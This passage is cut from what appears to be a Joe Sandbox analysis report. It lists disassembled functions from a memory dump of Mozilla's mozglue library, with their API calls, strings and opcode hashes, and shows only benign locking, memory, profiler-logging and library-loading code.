?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CB6CC83,?,?,?,?,?,?,?,?,?,6CB6BCAE), ref: 6CB2B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CB6CC83,?,?,?,?,?,?,?,?,?,6CB6BCAE,?,?,6CB5DC2C), ref: 6CB2B896

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 68ffa3850c8bfe2c0ac3ea64aa40a295273eeef13b878c8067a0e8aae7cfae3a
Instruction ID: 6510d0146c5a17f3c1cfc400ac1090d8eddd94241560401498b5e085c615cc36
Opcode Fuzzy Hash: 68ffa3850c8bfe2c0ac3ea64aa40a295273eeef13b878c8067a0e8aae7cfae3a
Instruction Fuzzy Hash: 5C5189357002448FCB24CF59C594A3ABBF5FF89319B69895DE98E8B352CB34E801CB81

Function 6CB61D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB61D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CB61BE3,?,?,6CB61D96,00000000), ref: 6CB61D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CB61BE3,?,?,6CB61D96,00000000), ref: 6CB61D4C
GetCurrentThreadId.KERNEL32 ref: 6CB61DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB61DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB61DDA

Part of subcall function 6CB61EF0: GetCurrentThreadId.KERNEL32 ref: 6CB61F03
Part of subcall function 6CB61EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CB61DF2,00000000,00000000), ref: 6CB61F0C
Part of subcall function 6CB61EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CB61F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CB61DF4

Part of subcall function 6CB2CA10: malloc.MOZGLUE(?), ref: 6CB2CA26

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 3f6dd51bb2b00debd1b795d56f0ec74f14fc76b1f638128b874fcbc033beebbd
Instruction ID: 71a2415b342b42e6e11350e3e68f3c1eded63150b0d0c2cc78dbd474572a7cab
Opcode Fuzzy Hash: 3f6dd51bb2b00debd1b795d56f0ec74f14fc76b1f638128b874fcbc033beebbd
Instruction Fuzzy Hash: FF418BB52007449FCB24CF29C589A5ABBF9FF4A314F14442EE99A87B41CB71F814CB91

Function 6CB238A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CB9E220,?,?,?,?,6CB23899,?), ref: 6CB238B2
ReleaseSRWLockExclusive.KERNEL32(6CB9E220,?,?,?,6CB23899,?), ref: 6CB238C3
free.MOZGLUE(00000000,?,?,?,6CB23899,?), ref: 6CB238F1
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CB23920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6CB23899,?), ref: 6CB2392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6CB23899,?), ref: 6CB23943
RtlFreeHeap.NTDLL(?,00000000,0000002C), ref: 6CB2396E

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 4bdb63e6f2df7b677eae599df38ef3f0c91e9240c5c070ecdaebd5066c01440c
Instruction ID: 2a682bc7931dcd2d5f82dabf997fc94dcaa466d68098e6982e07c130f0638d74
Opcode Fuzzy Hash: 4bdb63e6f2df7b677eae599df38ef3f0c91e9240c5c070ecdaebd5066c01440c
Instruction Fuzzy Hash: 74210572600790DFD720DF15C880BAAB7B9EF46328F158429D95E9BB10C739E845CB91

Function 6CB584E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB584F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB5850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB5851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB5855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB5856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB585AC

Part of subcall function 6CB57670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB5767F
Part of subcall function 6CB57670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB57693
Part of subcall function 6CB57670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CB585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB576A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB585B2

Part of subcall function 6CB35E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB35EDB
Part of subcall function 6CB35E90: memset.VCRUNTIME140(6CB77765,000000E5,55CCCCCC), ref: 6CB35F27
Part of subcall function 6CB35E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB35FB2

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: f7d0a04787d9dc9f83caca79be0a9d495ad528286fd3630a0a8b34d09c8681c0
Instruction ID: ee688a0cb318efae8f255b980d9c1cea456f3158f52d9cc448f006f384b293fa
Opcode Fuzzy Hash: f7d0a04787d9dc9f83caca79be0a9d495ad528286fd3630a0a8b34d09c8681c0
Instruction Fuzzy Hash: C0219C702006419FDB149F25E889A5AB7B9EF4530DF540829E58B83B41DB32E958CB42

Function 6CB21640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CB21699
VerSetConditionMask.NTDLL ref: 6CB216CB
VerSetConditionMask.NTDLL ref: 6CB216D7
VerSetConditionMask.NTDLL ref: 6CB216DE
VerSetConditionMask.NTDLL ref: 6CB216E5
VerSetConditionMask.NTDLL ref: 6CB216EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CB216F9

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 76154827b2b4e626b671b09473006b33d07cbcc9a2332046b3f7d3c4dfd3ba99
Instruction ID: c45f05455c9dd57ffd7e7d3a3fd7b480a9149ac3e717a8703ea437fbcaf542ca
Opcode Fuzzy Hash: 76154827b2b4e626b671b09473006b33d07cbcc9a2332046b3f7d3c4dfd3ba99
Instruction Fuzzy Hash: 1A2102B07402486BEB116F648C85FBF737CEFC7714F044528F6099B1C0C6789D4486A1

Function 6CB5F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB4CBE8: GetCurrentProcess.KERNEL32(?,6CB131A7), ref: 6CB4CBF1
Part of subcall function 6CB4CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB131A7), ref: 6CB4CBFA

Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB24A68), ref: 6CB5945E
Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB59470
Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB59482
Part of subcall function 6CB59420: __Init_thread_footer.LIBCMT ref: 6CB5949F

GetCurrentThreadId.KERNEL32 ref: 6CB5F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CB5F598), ref: 6CB5F621

Part of subcall function 6CB594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB594EE
Part of subcall function 6CB594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB59508

GetCurrentThreadId.KERNEL32 ref: 6CB5F637
AcquireSRWLockExclusive.KERNEL32(6CB9F4B8,?,?,00000000,?,6CB5F598), ref: 6CB5F645
ReleaseSRWLockExclusive.KERNEL32(6CB9F4B8,?,?,00000000,?,6CB5F598), ref: 6CB5F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CB5F62A

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: ac1fcda94632f0d087a03ae153954729008acb438afd24d34ac2791bb4e11c25
Instruction ID: 0c3277b1150134438e7c4849a2604fcbf30989719039bd32dd3170fdd7dc97d4
Opcode Fuzzy Hash: ac1fcda94632f0d087a03ae153954729008acb438afd24d34ac2791bb4e11c25
Instruction Fuzzy Hash: 11113671201244ABDB14AF18DA48DE9B77DFF87368B900425FA0683F41CB31AC31CBA1

Function 6CB21FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB4AB89: EnterCriticalSection.KERNEL32(6CB9E370,?,?,?,6CB134DE,6CB9F6CC,?,?,?,?,?,?,?,6CB13284), ref: 6CB4AB94
Part of subcall function 6CB4AB89: LeaveCriticalSection.KERNEL32(6CB9E370,?,6CB134DE,6CB9F6CC,?,?,?,?,?,?,?,6CB13284,?,?,6CB356F6), ref: 6CB4ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6CB21FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6CB21FFD
__Init_thread_footer.LIBCMT ref: 6CB22011
FreeLibrary.KERNEL32 ref: 6CB22059

Strings

combase.dll, xrefs: 6CB21FD9
CoCreateInstance, xrefs: 6CB21FF7

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 25f1f16b9ea92d971e37417f66d6e8915bd8a344efc0e71f629bdc5862748312
Instruction ID: 8ab446636e4ac341dfa5af09881afb1db580be3e0f640fc171dddc2ca2aa450b
Opcode Fuzzy Hash: 25f1f16b9ea92d971e37417f66d6e8915bd8a344efc0e71f629bdc5862748312
Instruction Fuzzy Hash: 00112979A01284ABDF24DF55CA4AE6A7B79EB4B375F104029F90983640C7359C50DE62

Function 6CB20EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB4AB89: EnterCriticalSection.KERNEL32(6CB9E370,?,?,?,6CB134DE,6CB9F6CC,?,?,?,?,?,?,?,6CB13284), ref: 6CB4AB94
Part of subcall function 6CB4AB89: LeaveCriticalSection.KERNEL32(6CB9E370,?,6CB134DE,6CB9F6CC,?,?,?,?,?,?,?,6CB13284,?,?,6CB356F6), ref: 6CB4ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CB4D9F0,00000000), ref: 6CB20F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CB20F3C
__Init_thread_footer.LIBCMT ref: 6CB20F50
FreeLibrary.KERNEL32(?,6CB4D9F0,00000000), ref: 6CB20F86

Strings

combase.dll, xrefs: 6CB20F18
CoInitializeEx, xrefs: 6CB20F36

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 54890f1ac6d9745c0a0766985e5fa3e90bbb0b59bf9d20821e5f7840a80ba51d
Instruction ID: aef347a0ca7c5d073d463c7216a2e045bec6f18e430ac87f15bf660e84dd5cea
Opcode Fuzzy Hash: 54890f1ac6d9745c0a0766985e5fa3e90bbb0b59bf9d20821e5f7840a80ba51d
Instruction Fuzzy Hash: 661170797452C09BDF20DF65DA18A9A3B78FB4B335F104629F90993B40D738E805CB56

Function 6CB5F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB24A68), ref: 6CB5945E
Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB59470
Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB59482
Part of subcall function 6CB59420: __Init_thread_footer.LIBCMT ref: 6CB5949F

GetCurrentThreadId.KERNEL32 ref: 6CB5F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB5F561

Part of subcall function 6CB594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB594EE
Part of subcall function 6CB594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB59508

GetCurrentThreadId.KERNEL32 ref: 6CB5F577
AcquireSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB5F585
ReleaseSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB5F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CB5F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6CB5F499
[I %d/%d] profiler_pause_sampling, xrefs: 6CB5F3A8
[I %d/%d] profiler_resume, xrefs: 6CB5F239

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 5b699303b15720ddddaafa2815422c1df3f1364430ea7c15845eac4783e53b91
Instruction ID: f65c51583cc1eddc07d555c953e9c8b56fd85aa9e2c6af6dfa0e27a137d02b06
Opcode Fuzzy Hash: 5b699303b15720ddddaafa2815422c1df3f1364430ea7c15845eac4783e53b91
Instruction Fuzzy Hash: 53F0E9756002449FEF10AF64D948A6E7B7DEB872ADF000421FA0683701CB715C01C771

Function 6CB5F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB24A68), ref: 6CB5945E
Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB59470
Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB59482
Part of subcall function 6CB59420: __Init_thread_footer.LIBCMT ref: 6CB5949F

GetCurrentThreadId.KERNEL32 ref: 6CB5F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CB5F598), ref: 6CB5F621

Part of subcall function 6CB594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB594EE
Part of subcall function 6CB594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB59508

GetCurrentThreadId.KERNEL32 ref: 6CB5F637
AcquireSRWLockExclusive.KERNEL32(6CB9F4B8,?,?,00000000,?,6CB5F598), ref: 6CB5F645
ReleaseSRWLockExclusive.KERNEL32(6CB9F4B8,?,?,00000000,?,6CB5F598), ref: 6CB5F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CB5F62A

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 6ee275cc682d9f0b28402bc02237ef4f826690dccab38f8c38d5a9df499a524a
Instruction ID: e8020b108c2fd1fecb2945ce2afca20557aa9bd8d9a005dcee963ba858b20f75
Opcode Fuzzy Hash: 6ee275cc682d9f0b28402bc02237ef4f826690dccab38f8c38d5a9df499a524a
Instruction Fuzzy Hash: DDF0E2B5200240AFEF206F64C948AAEBB7DEB872ADF400421FA0683742CB755C02C771

Function 6CB20E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CB20DF8), ref: 6CB20E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CB20EA1
__Init_thread_footer.LIBCMT ref: 6CB20EB5
FreeLibrary.KERNEL32 ref: 6CB20EC5

Strings

kernel32.dll, xrefs: 6CB20E7D
GetProcessMitigationPolicy, xrefs: 6CB20E9B

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 3248b2d26cd63ab03eaa9473835f5d07b44b91a7823f49f1d0907184c54e94ee
Instruction ID: abb14b3126e01793785a31601b58153c31ed3581140488998dea85b43ef0dc8a
Opcode Fuzzy Hash: 3248b2d26cd63ab03eaa9473835f5d07b44b91a7823f49f1d0907184c54e94ee
Instruction Fuzzy Hash: 8C014B74B042C1CBDF00AFE8EA24B5633B5F71B334F100529E92983B40D73CA4548B02

Function 6CB505F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CB4CFAE,?,?,?,6CB131A7), ref: 6CB505FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CB4CFAE,?,?,?,6CB131A7), ref: 6CB50616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CB131A7), ref: 6CB5061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CB131A7), ref: 6CB50627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CB5061B, 6CB50625
<jemalloc>, xrefs: 6CB505FA, 6CB5060F

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 4318823bab180950602e9d4d382d657b51df1e1c7224adb681dd85e31671f48d
Instruction ID: 156a15ce40d926cc2fd0ceb7a219bd7b5bfa892897fab13e269b7516bdd4ad5e
Opcode Fuzzy Hash: 4318823bab180950602e9d4d382d657b51df1e1c7224adb681dd85e31671f48d
Instruction Fuzzy Hash: 0AE0C2E3A0205037F5142266BC86EBB7A1CDBC6134F080139FE0D83301E95ABD1A51F7

Function 6CB205F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c3b08d9ceb7121bac3b79dd44dc03015d7951831933372075a49b48cad929aa
Instruction ID: 6fdd50a32146b72925609f639491665ab883a088f09bd06be5170a1be6fc4cd6
Opcode Fuzzy Hash: 6c3b08d9ceb7121bac3b79dd44dc03015d7951831933372075a49b48cad929aa
Instruction Fuzzy Hash: 9AA168B0A00685CFDB24CF29D594AAAFBF1FF49304F54866ED48A97B00E734A945CF91

Function 6CB714A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB714C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB714E2
GetCurrentThreadId.KERNEL32 ref: 6CB71546
InitializeConditionVariable.KERNEL32(?), ref: 6CB715BA
